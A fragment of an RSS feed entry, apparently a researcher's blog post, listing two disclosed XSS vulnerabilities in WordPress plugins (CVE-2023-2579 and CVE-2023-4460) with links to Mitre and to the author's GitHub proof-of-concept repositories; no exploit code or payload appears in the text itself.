href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-2579">Mitre</a> and <a href="https://github.com/daniloalbuqrque/poc-cve-xss-inventory-press-plugin">GitHub</a><br><strong>CVE-2023–4460</strong>: This one <strong>does not</strong> have a WPScan nor Mitre references yet. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-4460">The ID is still reserved</a>. I believe the WPScan’s team is looking for someone that created the plugin to fix the vulnerability. In the meanwhile you can read the PoC from my <a href="https://github.com/daniloalbuqrque/poc-cve-xss-uploading-svg">GitHub</a>.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=bef4de79151b" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>